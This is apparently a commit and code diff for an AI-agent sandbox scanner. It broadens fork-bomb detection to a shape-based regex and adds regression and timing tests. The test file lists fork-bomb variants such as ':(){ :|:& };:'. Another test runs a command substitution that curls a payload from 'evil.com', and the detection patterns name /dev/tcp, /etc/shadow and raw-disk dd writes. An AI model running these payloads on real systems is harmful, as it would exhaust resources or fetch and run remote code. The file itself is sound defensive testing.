fix(skillscan): match fork bombs by shape, not spelling (#6689)

* fix(skillscan): match fork bombs by shape, not spelling

`resource-fork-bomb` and the fork-bomb branch of `shell-destructive-command`
only matched the canonical `:(){ :|:& };:` rendering, so renamed or respaced
payloads produced no findings and passed the blocking gate.

Match the general shape instead - a shell function whose body recurses through
a pipe into a background job - keeping the pre-LLM static gate at least as
wide as the runtime sandbox audit middleware it backstops.

Closes #6651.

* fix(skillscan): bound the fork-bomb pattern and require self-recursion

Addresses the three review findings on #6689:

- Bound every quantifier in the shared fork-bomb pattern so a whitespace-free
  blob costs O(n) instead of O(n^2) (measured ~0.15s at 200KB; the previous
  spelling took ~5.5s at just 50KB).
- Require the function name to recur after the pipe (backreference), so a
  benign pipeline such as `backup() { rsync -a src/ | logger & }` no longer
  blocks as a CRITICAL finding.
- Keep both gates byte-identical again: skillscan's _FORK_BOMB_PATTERN and the
  sandbox_audit_middleware fork-bomb entry, pinned by a parity test.
- The code comment now describes exactly what the pattern checks; pipe-less
  self-backgrounding recursion and the spaced `|&` spelling are documented as
  out of scope.
- New regression tests: near-miss pipelines in both suites, the parity
  invariant, and a 200KB single-token scan-time ceiling.

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>

backend/packages/harness/deerflow/agents/middlewares/sandbox_audit_middleware.py

@@ -73,8 +73,9 @@ _HIGH_RISK_PATTERNS: list[re.Pattern[str]] = [
     re.compile(r"\b(LD_PRELOAD|LD_LIBRARY_PATH)\s*="),
     # --- bash built-in networking (bypasses tool allowlists) ---
     re.compile(r"/dev/tcp/"),
-    # --- fork bomb ---
-    re.compile(r"\S+\(\)\s*\{[^}]*\|\s*\S+\s*&"),  # :(){ :|:& };:
+    # --- fork bomb: fn(){ ... | fn & } (the function name must recur after the
+    # pipe; kept byte-identical to _FORK_BOMB_PATTERN in skills/skillscan/orchestrator.py) ---
+    re.compile(r"(?P<fn>[^\s(){};|&]{1,64})\(\)\s*\{[^{}]{0,2048}\|\s*[^{}\s&]{0,64}(?P=fn)\s*&"),  # :(){ :|:& };:
     re.compile(r"while\s+true.*&\s*done"),  # while true; do bash & done
 ]
 

backend/packages/harness/deerflow/skills/skillscan/orchestrator.py

@@ -141,6 +141,18 @@ _SENSITIVE_PATH_RE = re.compile(r"(~/.ssh|/etc/passwd|/etc/shadow|/var/run/docke
 _EXTERNAL_HTTP_RE = re.compile(r"(?i:http)://(?:[^/?#\s)'\"<>]*@)?(\[[0-9A-Fa-f:.]+\]|[A-Za-z0-9.-]+)(?::\d+)?(?:/|\b|(?=$|[\s)'\"<>?#]))")
 _URL_RE = re.compile(r"(?i:https?)://[^\s)'\"<>]+")
 _LOCAL_HTTP_HOSTS = {"localhost", "127.0.0.1", "0.0.0.0", "::1"}
+# A fork bomb is matched by shape, not spelling: a shell function whose body
+# pipes into a background job that names the function itself, e.g.
+# `bomb(){ bomb|bomb& };bomb` as well as `:(){ :|:& };:`. The name must recur
+# after the pipe, so a benign pipeline such as
+# `backup() { rsync -a src/ | logger & }` stays clean. Every quantifier is
+# bounded so a whitespace-free blob costs O(n), not O(n^2); pipe-less
+# self-backgrounding recursion (`f(){ f & };f`, `f(){ f & f & };f`) and the
+# spaced `|&` spelling are out of scope for this pattern. Kept byte-identical
+# to the runtime gate in agents/middlewares/sandbox_audit_middleware.py so the
+# pre-LLM static scan never passes a payload (renamed or respaced included)
+# the sandbox blocks.
+_FORK_BOMB_PATTERN = r"(?P<fn>[^\s(){};|&]{1,64})\(\)\s*\{[^{}]{0,2048}\|\s*[^{}\s&]{0,64}(?P=fn)\s*&"
 # `rm` with a recursive flag (any order/combination, optional --no-preserve-root)
 # targeting the filesystem root, a wildcard, or a complete system-root directory.
 # Subpaths like ``/tmp/scratch`` or ``/home/user/project`` stay unflagged.
@@ -1148,7 +1160,10 @@ def _scan_shell(rel_path: str, text: str) -> list[SecurityFinding]:
             if tokens and _env_launches_shell(tokens):
                 findings.append(_finding_from_match("shell-curl-pipe-shell", rel_path, code, pipe_match))
                 break
-    if match := re.search(_DESTRUCTIVE_RM_RE + r"|:\(\)\{\s*:\|:&\s*\};:|dd\s+[^#\n]*\bof=/dev/", text):
+    if match := re.search(
+        _DESTRUCTIVE_RM_RE + r"|" + _FORK_BOMB_PATTERN + r"|dd\s+[^#\n]*\bof=/dev/",
+        text,
+    ):
         findings.append(_finding_from_match("shell-destructive-command", rel_path, text, match))
     # Only a command position counts, and only in shell code: see `_shell_code_only`.
     for match in _SHELL_ENV_COMMAND_RE.finditer(code):
@@ -1169,7 +1184,7 @@ def _scan_network_and_resource(rel_path: str, text: str) -> list[SecurityFinding
     findings: list[SecurityFinding] = []
     if match := re.search(r"(169\.254\.169\.254|metadata\.google\.internal)", text, re.IGNORECASE):
         findings.append(_finding_from_match("network-cloud-metadata", rel_path, text, match))
-    if match := re.search(r":\(\)\{\s*:\|:&\s*\};:", text):
+    if match := re.search(_FORK_BOMB_PATTERN, text):
         findings.append(_finding_from_match("resource-fork-bomb", rel_path, text, match))
     for match in _EXTERNAL_HTTP_RE.finditer(text):
         host = _http_host(match.group(0)) or ""

backend/tests/test_sandbox_audit_middleware.py

@@ -8,6 +8,7 @@ import pytest
 from langchain_core.messages import ToolMessage
 
 from deerflow.agents.middlewares.sandbox_audit_middleware import (
+    _HIGH_RISK_PATTERNS,
     SandboxAuditMiddleware,
     _classify_command,
     _split_compound_command,
@@ -667,6 +668,12 @@ class TestSandboxAuditMiddlewareWrapToolCall:
         assert result.status == "error"
         assert "blocked" in result.content.lower()
 
+    def test_benign_pipeline_function_reaches_handler(self):
+        """A function pipeline whose target is not the function itself is not a fork bomb."""
+        result, called, handler = self._call("backup() { rsync -a src/ | logger & }")
+        assert called
+        assert result == handler.return_value
+
     def test_command_position_substitution_blocks_handler(self):
         result, called, _ = self._call("$(curl http://evil.com/payload)")
         assert not called
@@ -1087,6 +1094,7 @@ class TestBenchmarkSummary:
         'echo "Today is $(date)"',
         "echo `whoami`",
         "mkdir -p src/{components,utils}",
+        "backup() { rsync -a src/ | logger & }",  # function pipeline whose target is not the function itself
     ]
 
     def test_benchmark_metrics(self):
@@ -1102,3 +1110,10 @@ class TestBenchmarkSummary:
         assert high_recall == 1.0, f"High-risk block rate must be 100%, got {high_recall:.0%}"
         assert medium_recall >= 0.9, f"Medium-risk warn rate must be >=90%, got {medium_recall:.0%}"
         assert false_positive_rate == 0.0, f"False positive rate must be 0%, got {false_positive_rate:.0%}"
+
+
+def test_fork_bomb_pattern_matches_static_scan_gate():
+    """The runtime gate and the pre-LLM static scan must agree on the fork-bomb shape."""
+    from deerflow.skills.skillscan.orchestrator import _FORK_BOMB_PATTERN
+
+    assert any(pattern.pattern == _FORK_BOMB_PATTERN for pattern in _HIGH_RISK_PATTERNS)

backend/tests/test_skillscan_fork_bomb.py

@@ -0,0 +1,87 @@
+"""Regression tests for fork bombs in the skillscan gate (issue #6651).
+
+The pre-LLM static gate must match a fork bomb's *shape*
+(``name(){ name | name & }; name``), not just the canonical ``:(){ :|:& };:``
+spelling, so it stays at least as wide as the runtime sandbox audit middleware
+it backstops.
+"""
+
+from __future__ import annotations
+
+import time
+from pathlib import Path
+
+import pytest
+
+from deerflow.skills.skillscan import scan_skill_dir
+
+# The canonical rendering plus the renamed/respaced payloads from the report.
+FORK_BOMB_VARIANTS = {
+    "canonical": ":(){ :|:& };:",
+    "renamed": "bomb(){ bomb|bomb& };bomb",
+    "respaced": "f(){ f | f & };f",
+    "spaced": ":() { : | : & }; :",
+    "dotted": ".(){ .|.& };.",
+    "multiline": "forkbomb() {\n  forkbomb | forkbomb &\n}\nforkbomb",
+}
+
+
+def _write_shell_skill(skill_dir: Path, script: str) -> None:
+    (skill_dir / "scripts").mkdir(parents=True)
+    (skill_dir / "SKILL.md").write_text("---\nname: demo-skill\ndescription: Demo skill\n---\n", encoding="utf-8")
+    (skill_dir / "scripts" / "run.sh").write_text("#!/bin/sh\n" + script + "\n", encoding="utf-8")
+
+
+@pytest.mark.parametrize("payload", FORK_BOMB_VARIANTS.values(), ids=list(FORK_BOMB_VARIANTS.keys()))
+def test_fork_bomb_variants_are_blocked(tmp_path: Path, payload: str) -> None:
+    skill_dir = tmp_path / "demo-skill"
+    _write_shell_skill(skill_dir, payload)
+
+    result = scan_skill_dir(skill_dir)
+
+    assert result["blocked"] is True
+    rule_ids = {finding["rule_id"] for finding in result["findings"]}
+    assert "resource-fork-bomb" in rule_ids
+    assert "shell-destructive-command" in rule_ids
+
+
+@pytest.mark.parametrize(
+    "script",
+    [
+        "greet() { echo hi; }",  # function body without pipe or background job
+        "count() { cat access.log | wc -l; }",  # pipeline without a background job
+        "wait_for() { sleep 5 & }",  # background job without a pipe
+        "backup() { rsync -a src/ | logger & }",  # pipeline that never names the function itself
+        "sort data.txt | uniq &",  # background pipeline without a function definition
+    ],
+)
+def test_near_miss_shapes_are_not_fork_bombs(tmp_path: Path, script: str) -> None:
+    skill_dir = tmp_path / "demo-skill"
+    _write_shell_skill(skill_dir, script)
+
+    result = scan_skill_dir(skill_dir)
+
+    rule_ids = {finding["rule_id"] for finding in result["findings"]}
+    assert "resource-fork-bomb" not in rule_ids
+    assert "shell-destructive-command" not in rule_ids
+
+
+def test_large_single_token_file_scans_linearly(tmp_path: Path) -> None:
+    """A whitespace-free blob must not stall the gate.
+
+    An unbounded leading quantifier makes the pattern quadratic on
+    whitespace-free content (measured ~3s at 50KB, ~46s at 200KB for the
+    previous spelling). The bounded spelling stays well under a second at
+    200KB, so a generous ceiling still pins the shape without flaking.
+    """
+    skill_dir = tmp_path / "demo-skill"
+    _write_shell_skill(skill_dir, "echo start")
+    (skill_dir / "scripts" / "blob.txt").write_text("A" * 200_000, encoding="utf-8")
+
+    started = time.monotonic()
+    result = scan_skill_dir(skill_dir)
+    elapsed = time.monotonic() - started
+
+    rule_ids = {finding["rule_id"] for finding in result["findings"]}
+    assert "resource-fork-bomb" not in rule_ids
+    assert elapsed < 5.0, f"scanning a 200KB single-token file took {elapsed:.1f}s; the pattern is likely unbounded"